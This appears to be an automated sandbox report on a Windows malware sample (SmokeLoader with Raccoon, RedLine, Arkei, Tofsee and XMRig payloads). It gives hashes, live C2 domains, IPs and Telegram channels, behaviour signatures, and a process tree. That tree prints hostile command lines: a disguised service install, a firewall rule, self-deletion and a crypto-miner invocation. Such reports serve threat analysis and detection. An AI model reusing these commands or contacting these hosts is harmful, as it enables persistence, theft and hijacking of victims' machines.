Analysis

  • max time kernel
    153s
  • max time network
    153s
  • platform
    windows10_x64
  • resource
    win10v20210408
  • submitted
    27-09-2021 06:17

General

  • Target

    17a8a69266ee142b86606635dd611cf0.exe

  • Size

    135KB

  • MD5

    17a8a69266ee142b86606635dd611cf0

  • SHA1

    0771fc760511f955679e5fde06276015521e617b

  • SHA256

    276380342eb4faec0de17976d00cd908666e6b2b74343fdcb984d6f2194099d6

  • SHA512

    493a91ea7987c612ed8bd3177f5f130eaa4753cd7fbf63b9fc3180f9928cf1fe7630c8e7db2ebec30ef16d4808c0b3b82493d1c5e3281d34fbad9620ee061f36

Malware Config

Extracted

Family

smokeloader

Version

2020

C2

http://naghenrietti1.top/

http://kimballiett2.top/

http://xadriettany3.top/

http://jebeccallis4.top/

http://nityanneron5.top/

http://umayaniela6.top/

http://lynettaram7.top/

http://sadineyalas8.top/

http://geenaldencia9.top/

http://aradysiusep10.top/

rc4.i32
rc4.i32

Extracted

Family

raccoon

Botnet

a72c96f6762e4258a13dee8bc0dd14557df18467

Attributes
  • url4cnc

    https://t.me/h_wacel1new_1

rc4.plain
rc4.plain

Extracted

Family

raccoon

Botnet

b2f2e53f9e27f901d453d8f6fbafe1b4d5266bb7

Attributes
  • url4cnc

    https://t.me/hcdrom1

rc4.plain
rc4.plain

Extracted

Family

raccoon

Botnet

5ff0ccb2bc00dc52d1ad09949e9c7663bc9ca4d4

Attributes
  • url4cnc

    https://t.me/agrybirdsgamerept

rc4.plain
rc4.plain

Extracted

Family

redline

Botnet

karma

C2

94.103.9.133:39323

Extracted

Family

redline

Botnet

Bliss

C2

185.237.98.178:62607

Signatures

  • Arkei

    Arkei is an infostealer written in C++.

  • Raccoon

    Simple but powerful infostealer which was very active in 2019.

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine Payload 4 IoCs
  • SmokeLoader

    Modular backdoor trojan in use since 2014.

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Arkei Stealer Payload 1 IoCs
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
  • XMRig Miner Payload 3 IoCs
  • Creates new service(s) 1 TTPs
  • Downloads MZ/PE file
  • Executes dropped EXE 14 IoCs
  • Modifies Windows Firewall 1 TTPs
  • Sets service image path in registry 2 TTPs
  • Checks BIOS information in registry 2 TTPs 4 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Deletes itself 1 IoCs
  • Loads dropped DLL 18 IoCs
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Themida packer 5 IoCs

    Detects Themida, an advanced Windows software protection system.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Checks whether UAC is enabled 1 TTPs 2 IoCs
  • Enumerates connected drives 3 TTPs 23 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Suspicious use of SetThreadContext 4 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 1 IoCs
  • Checks SCSI registry key(s) 3 TTPs 6 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 3 IoCs
  • Modifies data under HKEY_USERS 13 IoCs
  • Modifies registry class 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 10 IoCs
  • Suspicious use of SendNotifyMessage 5 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\17a8a69266ee142b86606635dd611cf0.exe
    "C:\Users\Admin\AppData\Local\Temp\17a8a69266ee142b86606635dd611cf0.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:672
    • C:\Users\Admin\AppData\Local\Temp\17a8a69266ee142b86606635dd611cf0.exe
      "C:\Users\Admin\AppData\Local\Temp\17a8a69266ee142b86606635dd611cf0.exe"
      2⤵
      • Checks SCSI registry key(s)
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      PID:860
  • C:\Users\Admin\AppData\Local\Temp\C138.exe
    C:\Users\Admin\AppData\Local\Temp\C138.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:884
    • C:\Users\Admin\AppData\Local\Temp\C138.exe
      C:\Users\Admin\AppData\Local\Temp\C138.exe
      2⤵
      • Executes dropped EXE
      • Checks SCSI registry key(s)
      • Suspicious behavior: MapViewOfSection
      PID:1496
  • C:\Users\Admin\AppData\Local\Temp\C84D.exe
    C:\Users\Admin\AppData\Local\Temp\C84D.exe
    1⤵
    • Executes dropped EXE
    • Checks BIOS information in registry
    • Checks whether UAC is enabled
    • Suspicious use of NtSetInformationThreadHideFromDebugger
    • Suspicious use of AdjustPrivilegeToken
    PID:1204
  • C:\Users\Admin\AppData\Local\Temp\D696.exe
    C:\Users\Admin\AppData\Local\Temp\D696.exe
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Suspicious use of WriteProcessMemory
    PID:4008
    • C:\Windows\SysWOW64\cmd.exe
      cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\D696.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1796
      • C:\Windows\SysWOW64\timeout.exe
        timeout /T 10 /NOBREAK
        3⤵
        • Delays execution with timeout.exe
        PID:692
  • C:\Users\Admin\AppData\Local\Temp\32C1.exe
    C:\Users\Admin\AppData\Local\Temp\32C1.exe
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Suspicious use of WriteProcessMemory
    PID:1960
    • C:\Windows\SysWOW64\cmd.exe
      cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\32C1.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1964
      • C:\Windows\SysWOW64\timeout.exe
        timeout /T 10 /NOBREAK
        3⤵
        • Delays execution with timeout.exe
        PID:3840
  • C:\Users\Admin\AppData\Local\Temp\3C19.exe
    C:\Users\Admin\AppData\Local\Temp\3C19.exe
    1⤵
    • Executes dropped EXE
    • Checks BIOS information in registry
    • Checks whether UAC is enabled
    • Suspicious use of NtSetInformationThreadHideFromDebugger
    • Suspicious use of AdjustPrivilegeToken
    PID:744
  • C:\Users\Admin\AppData\Local\Temp\4050.exe
    C:\Users\Admin\AppData\Local\Temp\4050.exe
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    PID:3408
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 3408 -s 1328
      2⤵
      • Program crash
      • Suspicious use of AdjustPrivilegeToken
      PID:3764
  • C:\Users\Admin\AppData\Local\Temp\4533.exe
    C:\Users\Admin\AppData\Local\Temp\4533.exe
    1⤵
    • Executes dropped EXE
    PID:2260
    • C:\Users\Admin\AppData\Local\Temp\SindonsWelfare_2021-09-26_15-02.exe
      "C:\Users\Admin\AppData\Local\Temp\SindonsWelfare_2021-09-26_15-02.exe"
      2⤵
      • Executes dropped EXE
      PID:1352
    • C:\Users\Admin\AppData\Local\Temp\SolanumsYoghurt_2021-09-26_14-52.exe
      "C:\Users\Admin\AppData\Local\Temp\SolanumsYoghurt_2021-09-26_14-52.exe"
      2⤵
      • Executes dropped EXE
      PID:3980
    • C:\Users\Admin\AppData\Local\Temp\fbf.exe
      "C:\Users\Admin\AppData\Local\Temp\fbf.exe"
      2⤵
      • Executes dropped EXE
      • Adds Run key to start application
      • Enumerates connected drives
      • Checks processor information in registry
      • Suspicious use of SetWindowsHookEx
      PID:2948
  • C:\Users\Admin\AppData\Local\Temp\4AE1.exe
    C:\Users\Admin\AppData\Local\Temp\4AE1.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of WriteProcessMemory
    PID:4024
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\dyuidupv\
      2⤵
        PID:840
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\knlgahrb.exe" C:\Windows\SysWOW64\dyuidupv\
        2⤵
          PID:3928
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create dyuidupv binPath= "C:\Windows\SysWOW64\dyuidupv\knlgahrb.exe /d\"C:\Users\Admin\AppData\Local\Temp\4AE1.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
            PID:1164
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" description dyuidupv "wifi internet conection"
            2⤵
              PID:3056
            • C:\Windows\SysWOW64\sc.exe
              "C:\Windows\System32\sc.exe" start dyuidupv
              2⤵
                PID:908
              • C:\Windows\SysWOW64\netsh.exe
                "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                2⤵
                  PID:3488
              • C:\Users\Admin\AppData\Local\Temp\4FC4.exe
                C:\Users\Admin\AppData\Local\Temp\4FC4.exe
                1⤵
                • Executes dropped EXE
                • Loads dropped DLL
                PID:692
                • C:\Windows\SysWOW64\cmd.exe
                  cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\4FC4.exe"
                  2⤵
                    PID:4060
                    • C:\Windows\SysWOW64\timeout.exe
                      timeout /T 10 /NOBREAK
                      3⤵
                      • Delays execution with timeout.exe
                      PID:840
                • C:\Windows\SysWOW64\dyuidupv\knlgahrb.exe
                  C:\Windows\SysWOW64\dyuidupv\knlgahrb.exe /d"C:\Users\Admin\AppData\Local\Temp\4AE1.exe"
                  1⤵
                  • Executes dropped EXE
                  • Suspicious use of SetThreadContext
                  PID:2388
                  • C:\Windows\SysWOW64\svchost.exe
                    svchost.exe
                    2⤵
                    • Drops file in System32 directory
                    • Suspicious use of SetThreadContext
                    • Modifies data under HKEY_USERS
                    PID:1824
                    • C:\Windows\SysWOW64\svchost.exe
                      svchost.exe -o fastpool.xyz:10060 -u 9rLbTvsApFs3i3ojk5hDKicMNRQbxxFGwJA2hNC6NoZZDQN5tTFbhviFm4W3koxSrPg87Lnif7qxFYh9xpTJz1cT6B17Ph4.50000 -p x -k -a cn/half
                      3⤵
                        PID:3420

                  Network

                  MITRE ATT&CK Enterprise v6

                  Replay Monitor

                  Loading Replay Monitor...

                  Downloads

                  • memory/672-114-0x0000000000500000-0x000000000064A000-memory.dmp

                    Filesize

                    1.3MB

                  • memory/692-214-0x0000000000400000-0x00000000004F0000-memory.dmp

                    Filesize

                    960KB

                  • memory/692-213-0x0000000001FD0000-0x0000000002060000-memory.dmp

                    Filesize

                    576KB

                  • memory/744-186-0x0000000077CA0000-0x0000000077E2E000-memory.dmp

                    Filesize

                    1.6MB

                  • memory/744-176-0x0000000000370000-0x0000000000371000-memory.dmp

                    Filesize

                    4KB

                  • memory/744-185-0x0000000005740000-0x0000000005741000-memory.dmp

                    Filesize

                    4KB

                  • memory/744-189-0x0000000005850000-0x0000000005851000-memory.dmp

                    Filesize

                    4KB

                  • memory/860-115-0x0000000000400000-0x0000000000409000-memory.dmp

                    Filesize

                    36KB

                  • memory/884-127-0x0000000000600000-0x0000000000609000-memory.dmp

                    Filesize

                    36KB

                  • memory/1204-148-0x0000000007850000-0x0000000007851000-memory.dmp

                    Filesize

                    4KB

                  • memory/1204-137-0x0000000006030000-0x0000000006031000-memory.dmp

                    Filesize

                    4KB

                  • memory/1204-133-0x0000000003E40000-0x0000000003E41000-memory.dmp

                    Filesize

                    4KB

                  • memory/1204-147-0x0000000008510000-0x0000000008511000-memory.dmp

                    Filesize

                    4KB

                  • memory/1204-134-0x0000000006040000-0x0000000006041000-memory.dmp

                    Filesize

                    4KB

                  • memory/1204-135-0x0000000003EA0000-0x0000000003EA1000-memory.dmp

                    Filesize

                    4KB

                  • memory/1204-146-0x0000000007FE0000-0x0000000007FE1000-memory.dmp

                    Filesize

                    4KB

                  • memory/1204-145-0x00000000078E0000-0x00000000078E1000-memory.dmp

                    Filesize

                    4KB

                  • memory/1204-150-0x0000000007AB0000-0x0000000007AB1000-memory.dmp

                    Filesize

                    4KB

                  • memory/1204-156-0x0000000008B80000-0x0000000008B81000-memory.dmp

                    Filesize

                    4KB

                  • memory/1204-136-0x0000000005F20000-0x0000000005F21000-memory.dmp

                    Filesize

                    4KB

                  • memory/1204-130-0x00000000011F0000-0x00000000011F1000-memory.dmp

                    Filesize

                    4KB

                  • memory/1204-128-0x0000000077CA0000-0x0000000077E2E000-memory.dmp

                    Filesize

                    1.6MB

                  • memory/1204-151-0x0000000007F10000-0x0000000007F11000-memory.dmp

                    Filesize

                    4KB

                  • memory/1204-132-0x0000000006650000-0x0000000006651000-memory.dmp

                    Filesize

                    4KB

                  • memory/1204-149-0x0000000007B80000-0x0000000007B81000-memory.dmp

                    Filesize

                    4KB

                  • memory/1352-270-0x00000000026A0000-0x00000000026BE000-memory.dmp

                    Filesize

                    120KB

                  • memory/1352-291-0x0000000002724000-0x0000000002726000-memory.dmp

                    Filesize

                    8KB

                  • memory/1352-276-0x0000000002723000-0x0000000002724000-memory.dmp

                    Filesize

                    4KB

                  • memory/1352-261-0x00000000020B0000-0x00000000020E0000-memory.dmp

                    Filesize

                    192KB

                  • memory/1352-263-0x0000000002720000-0x0000000002721000-memory.dmp

                    Filesize

                    4KB

                  • memory/1352-265-0x0000000000400000-0x00000000004C5000-memory.dmp

                    Filesize

                    788KB

                  • memory/1352-262-0x0000000002520000-0x000000000253F000-memory.dmp

                    Filesize

                    124KB

                  • memory/1352-271-0x0000000002722000-0x0000000002723000-memory.dmp

                    Filesize

                    4KB

                  • memory/1824-237-0x0000000002A70000-0x0000000002A85000-memory.dmp

                    Filesize

                    84KB

                  • memory/1960-168-0x0000000000360000-0x0000000000AF3000-memory.dmp

                    Filesize

                    7.6MB

                  • memory/1960-166-0x0000000002DE0000-0x0000000002DE1000-memory.dmp

                    Filesize

                    4KB

                  • memory/1960-163-0x0000000002DA0000-0x0000000002DA1000-memory.dmp

                    Filesize

                    4KB

                  • memory/1960-164-0x0000000002DC0000-0x0000000002DC1000-memory.dmp

                    Filesize

                    4KB

                  • memory/1960-165-0x0000000002DD0000-0x0000000002DD1000-memory.dmp

                    Filesize

                    4KB

                  • memory/1960-167-0x0000000002DF0000-0x0000000002DF1000-memory.dmp

                    Filesize

                    4KB

                  • memory/1960-162-0x0000000002C90000-0x0000000002C91000-memory.dmp

                    Filesize

                    4KB

                  • memory/2260-194-0x0000000000BB0000-0x0000000000BB1000-memory.dmp

                    Filesize

                    4KB

                  • memory/2388-241-0x0000000000400000-0x00000000004AD000-memory.dmp

                    Filesize

                    692KB

                  • memory/2724-117-0x0000000000D00000-0x0000000000D16000-memory.dmp

                    Filesize

                    88KB

                  • memory/2724-142-0x0000000002F20000-0x0000000002F36000-memory.dmp

                    Filesize

                    88KB

                  • memory/2948-277-0x0000000000400000-0x00000000004C4000-memory.dmp

                    Filesize

                    784KB

                  • memory/2948-266-0x0000000000550000-0x000000000069A000-memory.dmp

                    Filesize

                    1.3MB

                  • memory/3408-188-0x0000000000400000-0x000000000044D000-memory.dmp

                    Filesize

                    308KB

                  • memory/3408-187-0x0000000000450000-0x00000000004FE000-memory.dmp

                    Filesize

                    696KB

                  • memory/3420-255-0x0000000002C30000-0x0000000002D21000-memory.dmp

                    Filesize

                    964KB

                  • memory/3420-260-0x0000000002C30000-0x0000000002D21000-memory.dmp

                    Filesize

                    964KB

                  • memory/3980-269-0x0000000004BC0000-0x0000000004BC1000-memory.dmp

                    Filesize

                    4KB

                  • memory/3980-292-0x0000000004BC4000-0x0000000004BC6000-memory.dmp

                    Filesize

                    8KB

                  • memory/3980-264-0x00000000004D0000-0x000000000057E000-memory.dmp

                    Filesize

                    696KB

                  • memory/3980-273-0x0000000004BC2000-0x0000000004BC3000-memory.dmp

                    Filesize

                    4KB

                  • memory/3980-274-0x0000000004BC3000-0x0000000004BC4000-memory.dmp

                    Filesize

                    4KB

                  • memory/3980-289-0x0000000007080000-0x0000000007081000-memory.dmp

                    Filesize

                    4KB

                  • memory/3980-275-0x0000000004A30000-0x0000000004A52000-memory.dmp

                    Filesize

                    136KB

                  • memory/3980-267-0x0000000002550000-0x0000000002573000-memory.dmp

                    Filesize

                    140KB

                  • memory/3980-278-0x0000000000400000-0x00000000004CB000-memory.dmp

                    Filesize

                    812KB

                  • memory/4008-141-0x0000000002180000-0x0000000002210000-memory.dmp

                    Filesize

                    576KB

                  • memory/4008-143-0x0000000000400000-0x00000000004F1000-memory.dmp

                    Filesize

                    964KB

                  • memory/4024-210-0x00000000005D0000-0x00000000005E3000-memory.dmp

                    Filesize

                    76KB

                  • memory/4024-211-0x0000000000400000-0x00000000004AD000-memory.dmp

                    Filesize

                    692KB